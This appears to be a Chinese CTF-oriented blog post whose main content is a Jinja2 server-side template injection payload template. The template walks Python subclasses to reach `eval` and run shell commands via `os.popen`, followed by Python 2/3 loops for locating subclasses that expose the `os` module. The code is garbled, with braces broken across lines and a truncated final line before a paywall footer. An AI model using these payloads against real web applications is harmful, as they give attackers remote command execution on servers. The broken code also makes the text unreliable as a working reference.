
我把能搜过来的payload都搜过来,,,,
碰到题再说吧,,,这payload太多了啊。。。
这个模板可以用来现找payload
自己再改一改就好了
{
% for c in [].__class__.__base__.__subclasses__() %}
{
% if c.__name__ == 'catch_warnings' %}
{
% for b in c.__init__.__globals__.values() %}
{
% if b.__class__ == {
}.__class__ %}
{
% if 'eval' in b.keys() %}
{
{
b['eval']('__import__("os").popen("ls").read()') }} //poppen的参数就是要执行的命令
{
% endif %}
{
% endif %}
{
% endfor %}
{
% endif %}
{
% endfor %}
如果环境中和本地的一样的话
那么可以这样找py2中
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i

比如我们想要一个执行命令的payload,如何查找?很简单我们只需要有os模块执行os.system即可
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
num+=1
#72 <class 'site._Printer'>
#77 <class 'site.Quitter'>
py3中
for i in enumerate(().__class__.__base__.__subclasses__()

最低0.47元/天 解锁文章
2415

被折叠的 条评论
为什么被折叠?



